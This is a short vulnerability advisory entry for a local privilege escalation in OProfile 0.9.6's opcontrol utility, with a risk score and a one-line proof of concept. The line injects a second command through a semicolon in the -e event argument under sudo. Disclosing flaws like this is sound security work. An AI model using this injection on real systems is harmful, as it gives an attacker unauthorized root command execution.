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OProfile 0.9.6 - 'opcontrol' Utility 'set_event()' Local Privilege Escalation

🗓️ 29 Apr 2011 00:00:00Reported by Stephane ChauveauType 
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OProfile 0.9.6 'opcontrol' Utility 'set_event()' Local Privilege Escalation. Local attacker can run arbitrary commands with superuser privileges

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source: https://www.securityfocus.com/bid/47652/info

OProfile is prone to a local privilege-escalation vulnerability.

An attacker can exploit this issue to run arbitrary commands with superuser privileges. 

The following example command is available:

sudo opcontrol -e "abcd;/usr/bin/id" 

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29 Apr 2011 00:00Current
7.4High risk
Vulners AI Score7.4
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